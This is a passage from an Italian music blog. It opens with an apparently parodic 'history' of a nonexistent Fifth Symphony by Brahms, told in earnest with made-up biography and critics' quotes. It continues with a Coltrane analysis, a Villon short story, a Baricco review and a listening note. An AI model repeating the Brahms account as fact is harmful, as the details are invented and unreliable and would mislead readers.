Brahms visse ancora una decina d'anni chiuso nel manicomio di Amburgo, dove, secondo le relazioni cliniche e le testimonianze del personale ospedaliero, condusse una vita vegetativa, completamente immemore, punteggiata da intervalli di coscienza (ma non di lucidità), durante i quali il povero Brahms sosteneva di essere una taverniera; in tale sua immaginaria qualità di ostessa di una bettola di infimo ordine, Brahms interloquiva coi medici e gli infermieri, scambiandoli per avventori del suo locale. Lo si poteva allora udire in tutto il manicomio mentre, con voce stridula, urlava frasi del tipo: "Quante birre al tavolo sei?" - Tale scena penosa, su cui i biografi di Brahms hanno mantenuto, fino a tempi recenti, un imbarazzato silenzio, si ripeteva una o due volte la settimana.

Si direbbe che l'incombente follia abbia proiettato la sua oscura ombra anche sulla ricezione di quest'ultima opera brahmsiana, che già al suo apparire lasciò perplessi ascoltatori e critici, innanzitutto per la sua durata stranamente breve: la sinfonia dura circa venti o venticinque minuti, a seconda delle interpretazioni (diciotto minuti nella lettura di Toscanini, ventisette in quella di Klemperer; un'incisione dal vivo di Celibidache, con l'orchestra sinfonica della RAI di Napoli, arriva ai quaranta minuti, ma solo perché il direttore allunga fino all'inverosimile gli intervalli fra un movimento e l'altro). Decisamente poco per il pubblico dell'epoca, abituato al gigantismo formale.

Un altro motivo di stupore derivò poi dalla strumentazione, che comprende, oltre al solito organico orchestrale, anche una fisarmonica, un mandolino e un sassofono. Inoltre nell'ultimo movimento è introdotta una voce di basso.

Il primo movimento, Allegro amabile, in forma sonata, inizia con il primo tema, esposto dai soli archi. E' una melodia languida, per non dire sensuale, costruita sulle note Do - La - La - Mi bemolle - Do- Si. In tedesco, queste note si scrivono C - A- A- Es - C - H; si tratta perciò di un chiaro riferimento al nome di Clara Schumann, la musicista per la quale, com'è noto, Brahms nutrì a lungo una segreta e infelice passione. Dopo un ponte modulante, si passa al secondo tema, che è costituito, abbastanza sorprendentemente, dalla ben nota canzone goliardica italiana detta "delle osterie". Il tema viene ripetuto varie volte, con un crescendo rossiniano inconsueto in Brahms, passando da una sezione all'altra dell'orchestra, in modo sempre più insistente. Lo sviluppo è costituito da una ingegnosa combinazione contrappuntistica fra il primo tema e le ultime battute del secondo tema (quelle che, nel testo della canzone, corrispondono alle parole "Dammela a me, biondina, dammela a me, biondà"). La ripresa è assai regolare, ed è seguita da una coda in cui Brahms cita la melodia di un'altra canzone goliardica, Gaudeamus igitur, già da lui utilizzata nella sua Ouverture accademica, op. 80.

Il secondo movimento, Andante comodo, è in forma tripartita. Qui, dopo le stravaganze del primo tempo, ritroviamo con piacere il consueto Brahms di tanti suoi andanti sinfonici: nobile, compassato, un tantino soporifero. La parte centrale dell'Andante si distingue per il finissimo dialogo strumentale fra il sassofono e il mandolino, su una melodia che presenta sottili analogie strutturali con il tema dell'Andante del Trio op. 17 di Clara Schumann.

Non si discosta dal sostanziale classicismo dell'Andante il Minuetto con trio che costituisce il terzo movimento della sinfonia: anzi, questo Minuetto è così ostentatamente haydniano, così settecentesco in modo quasi iperrealistico, che nell'ascoltatore inizia a farsi strada il dubbio se Brahms stia facendo sul serio, e se, a questo punto, ci stia ancora con la testa.

Ogni dubbio viene meno con l'inizio del famigerato quarto movimento. Dapprima entra la fisarmonica solista, proponendo un Recitativo strumentale di sedici battute che non si sa veramente come definire. Dopodiché il basso, senza alcun accompagnamento strumentale, intona alcuni frammenti di Saffo, ordinati dallo stesso Brahms in una sequenza, di cui si ricorderà quarant'anni dopo il nostro Quasimodo nella sua traduzione dei lirici greci:

Tramontata è la luna
e le Pleiadi a mezzo della notte;
anche giovinezza già dilegua,
e ora nel mio letto resto sola.
Scuote l'anima mia Eros,
come vento sul monte
che irrompe entro le querce;
e scioglie le membra e le agita,
dolce amara indomabile belva.
Ma a me non ape, non miele;
e soffro e desidero.


E' difficile ascoltare questo recitativo senza provare disagio: il basso, infatti, inizia nel proprio registro centrale, ma poi sale gradualmente, terminando su delle note che si trovano talmente oltre il limite della sua estensione, che finora nessun cantante è riuscito ad intonarle se non in falsetto. Ebbene sì: qui al compositore ha decisamente dato di volta il cervello.

A questo punto entra l'orchestra, attaccando l'Allegretto, in forma di rondò, su cui il basso canta un testo, elaborato dallo stesso Brahms, tratto dal Cantico di Re Salomone. La singolare difficoltà di questa parte vocale, caratterizzata da repentini salti di registro, costituisce certamente uno dei motivi per i quali la Sinfonia n. 5 di Brahms viene eseguita così raramente, ma non è l'unico. Soprattutto è sconcertante la disinvoltura con cui Brahms si appropria di intere sequenze tratte dalla Traviata, dalla Carmen, dal Tristano di Wagner e dalla Manon Lescaut di Puccini, senza neppure sottoporle al lavorìo dell'elaborazione tematica e contrappuntistica di cui è maestro. No, qui Brahms prende interi brani di queste opere e li schiaffa pari pari nel suo rondò, che si trasforma così in una sorta di pot-pourri da operetta.

La Sinfonia n. 5 termina con un altro sberleffo musicale, questa volta affidato alla melodia della canzone napoletana "Oi Marì, oi Marì / quanto suonno aggio perso pe' tte!", eseguita all'unisono dall'intera orchestra e dal basso, per chiudere con un accordo violentemente dissonante che usa tutte e dodici le note della scala cromatica, più alcuni quarti di tono.

Mentre, come si è detto, i contemporanei di Brahms non nascosero l'inquietudine e l'imbarazzo di fronte a questa sinfonia, la critica novecentesca appare molto divisa. Il critico Giorgio Lukács, in una delle sue rare incursioni in ambito musicale, definisce la Quinta Sinfonia di Brahms "uno dei documenti più impressionanti della decadenza artistica e morale della borghesia capitalistica nella sua fase imperialista"; giudizio sostanzialmente riecheggiato da Teodoro Adorno, il quale ebbe a parlare, a proposito di questa sinfonia, di "evidente involuzione reazionaria, basata sulla negazione astorica della funzione sociale della relazione armonica, nella misura in cui il contrappunto, materialisticamente e dialetticamente inteso, cede il passo al costrutto timbrico falsamente progressivo, di carattere apoditticamente neoclassico, orientato a destra, prematurato e antani". La sinfonia fu invece molto lodata da Stravinsky e, ai nostri giorni, da Pierre Boulez, che ne ha dato l'interpretazione forse più vibrante.

Significativa, a suo modo, fu la reazione di Glenn Gould, il quale, durante un'intervista radiofonica col fido Bruno Monsaingeon, da questi interrogato su cosa ne pensasse della Quinta sinfonia di Brahms, per tutta risposta cominciò a ridere, dapprima sommessamente e poi in modo sempre più convulso e irrefrenabile, al punto che l'intervista dovette essere interrotta.

Ma è tempo di passare alla conoscenza diretta di questa composizione così controversa. Ecco il link, con l'avvertenza che, su alcuni browser e con sistemi operativi non aggiornati, la pagina potrebbe anche non aprirsi. Comunque, buon ascolto.

(Già pubblicato su Evulon).
          Su "My Favorite Things" di John Coltrane        
Il 16 novembre 1959 debuttava a Broadway The Sound of Music, di Richard Rodgers e Oscar Hammerstein, uno dei musical più popolari di tutti i tempi anche grazie alla versione cinematografica che ne fu tratta nel 1965 (regia di Robert Wise, protagonista Julie Andrews, la versione italiana porta il titolo Tutti insieme appassionatamente).

Una particolare canzone tratta da questo musical ha avuto fortuna immensa. Di My Favorite Things, infatti, si contano centinaia di cover; l'elenco preparato dai redattori di Radio Rai è lungo sedici pagine.

Qui mi occuperò della versione forse più celebre, quella incisa in studio da John Coltrane il 21 ottobre 1960. Per capire quest'ultima, però, è opportuno partire dalla versione originale di Richard Rodgers. In questo articolo mi avvarrò dell'analisi condotta dal massimo studioso di Coltrane, il musicologo Lewis Porter, nella sua fondamentale monografia (Blue Train. La vita e la musica di John Coltrane, traduzione di Adelaide Cioni, Minimum Fax, Roma 2006, pp. 277-80).

La canzone è musicalmente molto semplice. Si tratta di un valzer in mi minore di quattro strofe, A-A-A'-B. Le prime tre strofe hanno la stessa musica, salvo che nella terza strofa, A', dove ci sono otto battute in maggiore. La quarta strofa, B, usa una diversa melodia e finisce in sol maggiore.

Qui di seguito copio il testo della canzone, di Oscar Hammerstein, cui faccio seguire una traduzione, volutamente molto pedestre, che ho preparato grazie all'ausilio del traduttore automatico di Google:



(A) "Raindrops on roses and whiskers on kittens
Bright copper kettles and warm woolen mittens
Brown paper packages tied up with strings
These are a few of my favorite things

(A) Cream colored ponies and crisp apple streudels
Doorbells and sleigh bells and schnitzel with noodles
Wild geese that fly with the moon on their wings
These are a few of my favorite things

(A') Girls in white dresses with blue satin sashes
Snowflakes that stay on my nose and eyelashes
Silver white winters that melt into springs
These are a few of my favorite things

(B) When the dog bites
When the bee stings
When I'm feeling sad
I simply remember my favorite things
And then I don't feel so bad!"

"Gocce di pioggia su rose e baffi di gattini
Bollitori di rame luminosi e caldi guanti di lana
Pacchetti di carta marrone legati con corde
Queste sono alcune delle mie cose preferite

Pony color crema e croccanti struedel di mele
Campanelli e campanelli da slitta e schnitzel con tagliatelle
Le oche selvatiche che volano con la luna sulle ali
Queste sono alcune delle mie cose preferite

Ragazze in abiti bianchi con sciarpe di raso blu
Fiocchi di neve che rimangono sul mio naso e sulle ciglia
Inverni bianchi d'argento che si sciolgono in primavere
Queste sono alcune delle mie cose preferite

Quando il cane morde
Quando l'ape punge
Quando mi sento triste
Non ho che da ricordarmi delle mie cose preferite
E allora non mi sento così male!"

The Sound of Music è ambientato a Salisburgo, fra le due guerre. Richard Rodgers ha naturalmente cercato di tener conto della tradizione musicale austriaca: My Favorite Things, come detto, è un valzer; negli altri brani si sentono riferimenti allo jodler, al laendler, al canto gregoriano, ecc. In un numero c'è anche un singolare omaggio ad Haydn: la canzone So long, farewell è eseguita da un coro di bambini che, uno alla volta, abbandonano il proscenio, finché a cantare rimane una sola bambina, così come, nel finale della Sinfonia degli addii, tutti gli esecutori smettono uno alla volta di suonare facendo concludere la sinfonia da un solo violinista.

Come ci si potrebbe aspettare, il testo di My Favorite Things fa uso di un immaginario prettamente alpino, o comunque nordeuropeo: bollitori per il té, guanti di lana, slitte che corrono sulla neve... Se di questa canzone volessimo realizzare un video-clip animato, seguendo pedissequamente il testo, dovremmo adoperare in prevalenza le tinte chiare, e in particolare il colore bianco, la cui presenza, in corrispondenza della terza strofa (quella con le otto battute in maggiore), diventa quasi ossessiva: abiti bianchi, fiocchi di neve, inverni bianchi... (Nella versione cinematografica quest'aspetto "eurocentrico" della canzone è ancora più sottolineato dal forte accento british di Julie Andrews).

Molti si sono chiesti cosa potesse avere indotto un artista come John Coltrane, che da lì a poco sarebbe diventato un'icona della cultura afro-americana, a musicare una sua versione di questo brano, il quale inizialmente c'entrava così poco con il jazz.

Secondo Lewis Porter, è un errore "dare per scontato che Coltrane trovasse la canzone sciocca e che per questo volesse abbellirla". Al contrario, Coltrane ammirava sinceramente questa canzone e, nella sua versione, la trattò "con rispetto". Il "messaggio" della canzone, "che le cose buone ci aiutano a superare le cattive", è secondo Porter "del tutto sensato e prezioso - per nulla sciocco - è solo che utilizza esempi alla portata di un bambino, perché nel copione la canzone si rivolge a dei bambini".

Qui però l'ottimo Porter ha preso una cantonata. Nel film, è vero, Julie Andrews canta la canzone a dei bambini. Il film, però, è del 1965, quindi è posteriore all'incisione di John Coltrane, che a quell'epoca poteva conoscere solo la versione teatrale di questo musical; e, nella versione teatrale, la protagonista canta My Favorite Things in una delle scene iniziali, che si svolgono in un convento di suore, e non la canta ai bambini, bensì alla Madre Badessa del convento.

Sembra, in realtà, che Coltrane non fosse attratto tanto dal "messaggio" della canzone, quanto invece dalla sua manipolabilità sul piano strettamente musicale. Ecco come si espresse Coltrane in un'intervista: "Questo valzer è fantastico: se lo suoni lento, senti un elemento di gospel che non è per niente sgradevole; se lo suoni veloce, possiede altre innegabili qualità. E' molto interessante scoprire un terreno che si rinnova a seconda dell'impulso che gli dai".

Quindi, si direbbe che il valzer di Rodgers fosse per Coltrane quello che il valzer di Diabelli era stato per il Beethoven dell'op. 120: poco più che un pretesto, un canovaccio utile per imbastire una serie potenzialmente infinita di variazioni che poco o nulla hanno a che fare con il tema originale. E, in verità, Coltrane eseguì in concerto My Favorite Things moltissime volte (secondo Wikipedia, sono state documentate su nastro non meno di 45 esecuzioni), creandone versioni sempre più lontane dalla canzone originale, fino a renderla irriconoscibile.

La versione sull'album si compone di un'introduzione di quattro battute, suonata due volte; viene poi esposto un vamp (breve inciso ritmico, costantemente ripetuto, che è per il jazz quello che nel rock si chiama riff e nella musica barocca si chiama ostinato), cui fanno seguito un primo assolo di Coltrane, un altro assolo di McCoy Tyner al pianoforte, e un assolo finale ancora di Coltrane, per complessivi 14 minuti circa. Nel primo assolo Coltrane esegue le prime due strofe (A) in minore, poi c'è un interludio in maggiore, poi altre due strofe (A) in minore. Gli altri due assoli seguono lo stesso schema, salvo che per la parte finale dell'assolo conclusivo di Coltrane, di cui dirò fra poco.



La prima cosa che si nota all'ascolto è che Coltrane ha spostato molto lontano dall'Europa il baricentro etnico del brano. La ripetizione ossessiva, ipnotica, di un inciso ritmico in tempo dispari; la voce acuta dello strumento a fiato (un sax soprano, fino ad allora poco usato nel jazz); il clima di fissità tonale e il senso del tempo molto dilatato, sono tutti elementi che richiamano la musica orientale. (A me il brano fa venire in mente una danza sufi). Porter nota che Coltrane era appassionato di musica indiana, era un ammiratore di Ravi Shankar, ed era profondamente interessato alla musica folk e modale di tutto il mondo, nonché alle scale pentatoniche (pare che certe volte, nelle sue esercitazioni, eseguisse col sassofono determinate sequenze del Concerto per orchestra di Béla Bartók). Sempre secondo Porter, in My Favorite Things si possono anche scorgere influenze musicali provenienti dall'Africa occidentale.

La cosa per me più sorprendente è che, nella musica originale di questa canzone, Coltrane abbia sentito un "elemento gospel". Per quanto ascolto e riascolto la canzone di Rodgers e Hammerstein, devo confessare che questo elemento gospel non riesco assolutamente a percepirlo. Ma è significativo che, per Coltrane, la canzone avesse qualcosa a che fare con le radici stesse della musica nera americana. Questo forse ci aiuta a far luce su un'altra singolarità della versione di Coltrane.

Abbiamo detto che la versione coltraniana di My Favorite Things è basata sulla strofa A della musica originale. Che fine ha fatto la strofa B, quella il cui testo contiene, secondo Porter, il "messaggio" della canzone e che si conclude in modo maggiore?

Alla fine del suo assolo conclusivo, Coltrane esegue anche la strofa B, senza apportare particolari variazioni alla musica. Però la esegue in mi minore, dandole, secondo Porter, "un effetto più pensoso, riflessivo".

Il testo originale della strofa B fa riferimento ad api che pungono e a cani che mordono, per delineare scherzosamente una situazione da "giornata storta", in cui le cose, chissà perché, non vanno per il verso giusto. Ma questa situazione si supera (dice la canzone) richiamando alla mente le piccole cose belle della vita. Se si fa in questo modo, l'atteggiamento cambia e ci si accorge che non si sta poi così male. La canzone si chiude così, trionfalmente, in sol maggiore.

Qui, però, è meglio fare ricorso alla bella traduzione ritmica di Antonio Amurri (quella utilizzata nella versione italiana del film), che ha colto al meglio il senso di questa strofa:



"Se son triste, infelice, e non so il perché,
io penso alle cose che amo di più
e torna il seren per me!"

Immaginiamo ora di sentire queste parole sovrapposte al mi minore del sax di John Coltrane, nelle battute finali del suo secondo assolo (a partire dal minuto 12'33''). L'effetto è di un'ironia indefinibile, profonda, pungente, tristemente consapevole. Uno speciale tipo di sarcasmo, composto e controllatissimo, ma inequivocabile.

Per me (e sottolineo: per me) in questo minuto e dodici secondi di musica c'è l'essenza stessa del jazz. Ogni volta che l'ascolto, mi commuovo.

Provo a spiegarmi meglio.

Il cantante e chitarrista Huddie W. Leadbetter (1885-1949), uno fra i musicisti più influenti della musica nera americana del secolo ventesimo, tentò una volta di definire a parole quel particolare complesso psicologico che porta il nome di blues. Possiamo leggere le sue parole come una specie di negativo fotografico della canzone di Rodgers e Hammerstein:

"Quando la notte sei sdraiato nel letto, e ti giri da una parte e dall'altra senza riuscire a prendere sonno, non c'è niente da fare. I blues si sono impadroniti di te... Quando ti svegli al mattino, ti siedi sulla sponda del letto, e puoi avere vicino a te padre e madre, sorella e fratello, il tuo ragazzo o la tua ragazza, ma non hai voglia di parlargli... Non ti hanno fatto niente, e tu non hai fatto niente a loro, ma che cosa importa? I blues si sono impadroniti di te".

Così commenta Arrigo Polillo nel suo classico Jazz. La vicenda e i protagonisti della musica afro-americana (Mondadori, Milano 2009, p. 43): "Avere i blues è qualcosa di diverso dall'essere triste dell'uomo bianco. E' essere afflitti da un tedio esistenziale, da una malinconia greve che non lascia spazio alle fantasticherie, vuol dire autocommiserazione, rassegnazione, vuol dire disperazione sorda, grigiore, miseria. E' una poesia fondata sulle cose di tutti i giorni, su personaggi familiari, visti in una luce realistica, con occhio disincantato. Non c'è, né ci vuol essere, nel blues, trasfigurazione lirica, che è un lusso da bianchi; non c'è dramma, perché il dramma è fatto di ombre ma anche di luci. C'è invece la consapevolezza di una tragedia in atto, che non finirà mai. Il blues singer non canta la vita, ma il non morire, parla sempre di ciò che non ha e che non avrà mai".

Ecco il senso del mi minore con cui si conclude My Favorite Things di John Coltrane. Non c'è consolazione, e non c'è neanche protesta. E' la constatazione oggettiva di una situazione fondamentalmente tragica. Il "messaggio" della canzone di Rodgers e Hammerstein è sovvertito. Vista in questa luce, non solo la canzone, ma la stessa cultura (musicale e non solo) cui essa fa riferimento, viene radicalmente messa in questione.
          La stanza della duchessa        
Quello che segue è un racconto che ho scritto per partecipare a un concorso letterario. Le regole sono: un racconto dal titolo "La Stanza della Duchessa", della lunghezza massima di 3.600 caratteri, che contenga un riferimento alle scarpe (lo sponsor è il Museo della Calzatura di Vigevano). Il racconto dev'essere inedito, ma ne è ammessa la pubblicazione sul proprio blog. E allora, eccolo qua. La versione seguente è un po' più lunga di quella che invierò per il concorso (ho dovuto ridurre il testo per rientrare nel limite delle 3.600 battute).
Aggiornamento (25 febbraio 2012): pubblico qui di seguito la versione che ha partecipato al concorso (e che non ha vinto). La versione lunga, invece, la potete leggere su Evulon.


La notte del 7 gennaio 1463, a Parigi, dopo l'ora del coprifuoco, un uomo percorreva a grandi passi la rue Saint-Jacques deserta, diretto verso la Senna.
Era magro e allampanato, piuttosto malmesso. Portava una voluminosa borsa e, in più, teneva sotto il braccio un fardello malamente avvolto in un panno. Faceva molto freddo.
Giunto nei pressi del Petit Pont, l'uomo si fermò sotto una finestra, raccolse della ghiaia e la gettò contro i battenti. Poi chiamò con voce smorzata: "Margot! Aprimi!"
All'interno una candela si accese. L'uscio si aprì e una voce femminile mormorò: "Villon? Sei tu?"
"No, sono il re d'Inghilterra. Sei sola?"
"Sì. Stanotte non ho clienti".
"Allora dai, fammi entrare, o domattina uscendo mi troverai qui stecchito come un'aringa!"
"Grazie al cielo! Allora ti hanno scarcerato", disse Margot, guidando il suo amico su per la scala del modesto alloggio.
"Già" rispose lui, "la Suprema Corte ha accolto il mio appello. Per stavolta non finirò sulla forca. Però..."
Si interruppe, osservando con aria incerta Margot la quale, nel frattempo, si era seduta sul bordo del letto a due piazze che occupava quasi interamente la stanza.
"Come, per stavolta?" disse la ragazza. "In che altri guai ti vorresti cacciare? Siediti invece, e fammi vedere cosa c'è nel fagotto che hai portato. Un regalo per me, vero?"
François si accomodò accanto a Margot e srotolò il panno, che conteneva un paio di eleganti sandali di pelle dal tacco alto.
"Dove li hai comprati?" disse lei, sorridendo deliziata.
"Sono scarpe italiane" disse lui. "Erano sulla bancarella di un mercante lombardo, alle Halles. Non è che le ho proprio comprate. Mi sono detto: queste sono per la mia Margot! Allora mi sono avvicinato di soppiatto e..."
La donna lo zittì con un bacio. Poi spense la candela.
Intanto, fuori, iniziava a nevicare.

Quando François si svegliò (era mattina inoltrata), per prima cosa vide Margot che stava disegnando con un carboncino sul retro di un manoscritto.
"Scusa", disse Margot, "mi serviva un foglio e ho visto che la tua borsa ne era piena. E' il tuo ritratto", disse porgendo il foglio a François. "C'era scritto qualcosa di importante?"
"No", disse lui. "E' una stanza della ballata che scrissi cinque anni fa per la duchessa d'Orléans. Ma era una brutta poesia. Il tuo disegno, invece, è molto bello. Conservalo, te ne prego".
"Allora è deciso! Io la duchessa, tu il duca, e questo sarà il nostro castello!"
"Margot, ti devo dire una cosa. I giudici hanno annullato la mia condanna a morte, è vero. Però mi hanno bandito da Parigi".
La donna si avvicinò alla finestra e guardò fuori. Era tutto ricoperto di neve. "Per quanto tempo?", disse.
"Dieci anni. Devo lasciare la città entro oggi".
Margot si volse e, guardando François dritto negli occhi, disse: "Vengo con te".
Lui scese dal letto. Raggiunse Margot, che era in piedi davanti alla finestra. C'era il sole, e il riverbero illuminava i capelli di lei. Sempre guardandola negli occhi, François prese fra le sue le mani di Margot.
"Andremo in Italia", disse François. "Laggiù ci sono città accoglienti e ben governate, rette da leggi giuste. L'arte e la poesia sono onorate e apprezzate. Quello è il posto per noi! Potremmo andare a Firenze da Cosimo de' Medici, o anche a Napoli, da re Ferdinando. Oppure nel Ducato di Milano, da Francesco Sforza: mi hanno detto che lì si vive bene. Partiamo adesso!"
"Sì. E quando questa neve si sarà sciolta, noi saremo già lontano", disse Margot.


          Baricco e il postmodernismo da quattro soldi        
Sul "Primo Amore" Antonio Moresco ha pubblicato una bella lettera aperta ad Alessandro Baricco, in risposta a un'intervista concessa da quest'ultimo al "Venerdì di Repubblica".

Baricco, parlando del suo ultimo romanzo, non si limita ad esporre la sua personale poetica di scrittore, ma pretende di far assurgere quest'ultima al livello di teoria generale della letteratura valida per tutti. Moresco rimprovera giustamente a Baricco l'arroganza di tale pretesa.

Baricco non è nuovo a questo genere di smargiassate, così le chiamava il mio professore di filosofia del liceo (si riferiva alle teorie pseudo-storiciste di Francis Fukuyama, ma la definizione è adatta anche a quelle di Baricco). Nel 1992 lo stesso Baricco pubblicò per l'editore Garzanti un testo teorico sulla musica moderna (oggi reperibile in edizione Feltrinelli) dove, con piglio zdanoviano, condannava tutta la musica "atonale" in quanto non adeguata ai gusti della "gente". Nel 2003, qui, pubblicai una recensione di questo libro. La ripropongo ora qui in calce, con minime variazioni. Non mi piace molto com'è scritta, però contiene un'idea che, dopo aver letto il fondamentale libro del collettivo Wu Ming sul New Italian Epic, mi è diventata più chiara: l'idea, cioè, che il "postmodernismo da quattro soldi" sia una delle forme più pervasive e insidiose in cui si presenta oggi l'ideologia dominante. Ecco la recensione.

Alessandro Baricco, L'anima di Hegel e le mucche del Wisconsin. Una riflessione su musica colta e modernità, Garzanti, Milano 1992, pp. 101.

Avvertenza per gli estimatori di Alessandro Baricco: la presente è una stroncatura.

1. Riassunto dei contenuti del libro

Nel primo capitolo, intitolato L'idea di musica colta, Baricco individua l'origine del concetto di musica colta nell'idealismo romantico dell'Ottocento, la cui figura principale, Beethoven, stabilisce il paradigma a cui tutti i successivi compositori, nonché gli interpreti e il pubblico, si attengono: "una musica impegnata, spirituale e difficile" (p. 19). Tale concetto è oggi, secondo Baricco, sopravvissuto a se stesso, dato che ne sono venuti meno i presupposti storici, ideologici e sociali ("qualcuno sa cosa significa spirito?", p. 20). Ma gli esecutori e i fruitori della musica colta si ostinano a riproporre questa concezione ormai superata, e a riproporre i capolavori del passato in forma mummificata e inerte, secondo un malinteso concetto di fedeltà al testo, fondamentalmente perché - sempre secondo Baricco - hanno "paura" della modernità.

Nel secondo capitolo, come alternativa alla prassi corrente, Baricco propone la "sua" idea di interpretazione. La musica "colta" del periodo classico si proponeva di organizzare il caos entro un preciso ordine formale; compito dell'interprete di oggi è, secondo Baricco, di far esplodere tale ordine per far sì che le "schegge" del materiale musicale si possano ricomporre secondo nuove geometrie provvisorie, momentanee, ogni volta diverse, secondo costellazioni di senso sempre rinnovate, piacevoli e sorprendenti.

Il terzo capitolo è dedicato alla musica atonale del Novecento. Baricco parte da un'audace constatazione: ma questa musica, dopo più di settant'anni, ancora non ha un suo pubblico! Gli ascoltatori, per quanto si sforzino, non la apprezzano e non la capiscono! Hanno torto loro? No, naturalmente: hanno invece avuto torto Schoenberg e i suoi successori (tutti quelli che hanno composto musica atonale, vale a dire i tre quarti dei compositori del Novecento da Berg a Webern fino alla scuola di Darmstadt e oltre).

Baricco spiega il perché: esistono "invalicabili limiti fisiologici" (p. 55) che impediscono all'orecchio umano di apprezzare la musica atonale. Infatti ogni brano musicale, continua Baricco, altro non è che un "meccanismo di piacere" (ibid.) basato su un gioco di previsione da parte dell'ascoltatore/risposta da parte della musica: se si cancella la logica tonale, sparisce l'orizzonte della previsione e si elimina il "piacere dell'ascolto" (p. 56).

La musica seriale è ormai superata, e anche qui Baricco non manca di dare la sua spiegazione sociologico-storica: l'atonalità di Schoenberg e seguaci nasce come espressionistico grido di orrore di fronte alla tragica realtà dei massacri e dei totalitarismi del Novecento. Ma nel secondo dopoguerra, "una volta sfumata quella follia" (p. 63) e venuti meno i conflitti ideologici e sociali che caratterizzarono la prima metà del secolo, anche tale giustificazione per l'atonalismo viene a mancare. Perciò non ci sono più motivi validi per i quali i compositori debbano ostinarsi a frustrare "le legittime aspettative del pubblico" (p. 65) continuando a proporre musica così inascoltabile, e perpetuando "lo strappo profondo e grottesco tra quella musica e la gente" (p. 66).

Occorre dunque richiamare i compositori "ai doveri della modernità" (p. 67), "ricreare una sintonia col sentire collettivo. Con una certezza: la modernità è innanzitutto uno spettacolo" (p. 73) e la gente vuole innanzitutto divertirsi, anche nelle sale da concerto: i musicisti devono dunque accettare "l'allegra realtà di un'umanità inconsapevolmente e sanamente drogata" (p. 70), di una modernità dove "la spettacolarità del reale e quella delle forme di rappresentazione si inseguono in un'escalation per la quale anche l'orribile diventa meraviglia" (ibid.).

Nell'ultimo capitolo del suo libro, Baricco propone ai compositori contemporanei due modelli da seguire: Puccini e Mahler. Secondo Baricco, questi due autori avrebbero accettato la concezione moderna di spettacolarità, senza temere di adottare un linguaggio musicale primitivo, né d'infarcire le loro opere di elementi volgari o di cattivo gusto, pur d'intercettare il bisogno di spettacolo dell'ascoltatore odierno, precorrendo così l'estetica del cinema.

2. Critica

Sui primi due capitoli non c'è molto da dire: si tratta di luoghi comuni che Baricco espone come se si trattasse di trovate sue; interpreti come Pierre Boulez (nella sua attività di direttore d'orchestra) e Maurizio Pollini adottano da sempre prassi esecutive antiformalistiche senza bisogno di attendere lezioncine da parte di Alessandro Baricco: di propriamente suo c'è solo un certo superficiale edonismo.

Circa i restanti capitoli del libro, premesso che reputo agghiacciante ognuna delle frasi o espressioni di Baricco che sopra ho citato tra virgolette (reazione molto soggettiva, lo ammetto), la prima osservazione critica da fare su questo testo è che Baricco propone un'estetica normativa, vale a dire un'estetica che pretende di prescrivere agli artisti come devono lavorare (non dovete più scrivere musica atonale, dovete farvi capire dalla "gente", ecc).

Ora, ogni estetica normativa è un'aberrazione, indipendentemente dal suo contenuto. Se poi si vuole valutare quest'ultimo, bisognerà osservare che Baricco si accosta ad Andrej Zdanov, il "teorico" sovietico del realismo socialista: anche lui pretendeva dai compositori una musica dal linguaggio semplice, tradizionale, accessibile alle grandi masse popolari. Zdanov avanzava tale pretesa in nome del superiore interesse del socialismo, Baricco in nome della "modernità" e della fine delle ideologie, ma il risultato non cambia. Baricco, nella sua irritante e dilettantesca superficialità, non sembra neanche rendersi conto del totalitarismo implicito nella pretesa che gli artisti debbano conformare la loro produzione ai gusti della "gente".

D'altra parte neppure si capisce bene quale pubblico Baricco abbia in mente: il pubblico che frequenta le sale da concerto è così esiguo che non vale neanche la pena che i musicisti si affannino per compiacerlo: e peggio per tale pubblico se non riesce ad apprezzare Anton Webern. Viceversa, il pubblico che non ha mai messo piede in un auditorium e non ascolta Schoenberg e Stockhausen, nella sua stragrande maggioranza non ascolta neppure Mahler e Puccini, ed evidentemente non per motivi ascrivibili al solo linguaggio musicale.

In ogni caso, dal fatto che la lettura di questo libro non mi ha impedito neppure per un minuto di continuare ad ascoltare il mio CD con i pezzi per pianoforte di Schoenberg, deduco che quella degli "invalicabili limiti fisiologici" è una colossale sciocchezza, con cui Baricco cerca malamente di giustificare la propria opposizione ideologica alla musica d'avanguardia.

La sua valenza ideologica è in realtà l'unico aspetto un poco interessante di questo libro. Esso, con la sua esaltazione del disimpegno, delle gioie del consumismo e della "gente" che vuole divertirsi, appare come un esempio tipico di quella versione euforico-ebetudinaria del postmoderno che ha furoreggiato nel nostro paese durante tutti gli anni '80: un'epoca nella quale a molti intellettuali non è parso vero di poter finalmente riproporre (nell'aggiornatissimo linguaggio filosofico post-strutturalista) l'antico, tradizionale qualunquismo italiano. Appare tristemente ironico che alcuni di quegli intellettuali si scaglino oggi dalle pagine dell' "Unità" o di "Repubblica" contro le impreviste (ma prevedibili) conseguenze politiche della loro stessa filosofia.

P.S. Ad un certo punto del suo testo, Baricco inserisce alcune oscure insinuazioni a proposito di presunte "coperture politiche" di cui gli artisti dell'avanguardia musicale avrebbero goduto nel nostro paese. Sorge allora la tentazione di leggere questo libro, il cui valore teorico-critico è nullo, in chiave direttamente pratica: forse Baricco si è proposto di approntare un "manifesto" per i musicisti della cosiddetta scuola neo-romantica?

Mi sono allora comprato un disco antologico di un esponente di questa corrente musicale, che ebbe anch'essa un effimero momento di notorietà nel corso degli anni '80: Marco Tutino, Operas, CD Aura Music AUR421-2, 2000, Euro 4,25. Si tratta di composizioni carine, indubbiamente orecchiabili, il cui linguaggio musicale si colloca fra le colonne sonore di Bernard Herrmann e i balletti di Aaron Copland, il tutto realizzato senza troppa fantasia e con circa trent'anni di ritardo.

Bene, ho fatto un piccolo esperimento. Un brano di questo CD di Marco Tutino l'ho fatto ascoltare ad un mio coinquilino che ascolta solo reggae ed hip-hop (e che, così facendo, qualche volta supera gli invalicabili limiti fisiologici delle mie capacità d'ascolto), e poi gli ho fatto sentire qualche minuto di Contrappunto dialettico alla mente di Luigi Nono (1968). Nessuno dei due brani gli è piaciuto, ma ha trovato di gran lunga più interessante quello di Nono.
          Pausa pranzo        
Torno a casa. Metto una pentola d'acqua sul fornello e lo accendo. Poi prendo un dischetto e lo metto nel lettore.

Beethoven, Sonata op. 106 nell'orchestrazione di Felix Weingartner. Royal Philharmonic Orchestra, diretta dallo stesso Weingartner. Incisione storica, del 1930. Riversata su CD, edizione economica.

Che idea bislacca, trascrivere l'Hammerklavier per orchestra. L'opera, così, non funziona. E' incongrua, fuori posto. O forse è l'arrangiamento che non va bene: tutto in legato! Come no: siccome al piano non si può fare e con l'orchestra sì, allora mettiamo il glissando un po' dovunque...
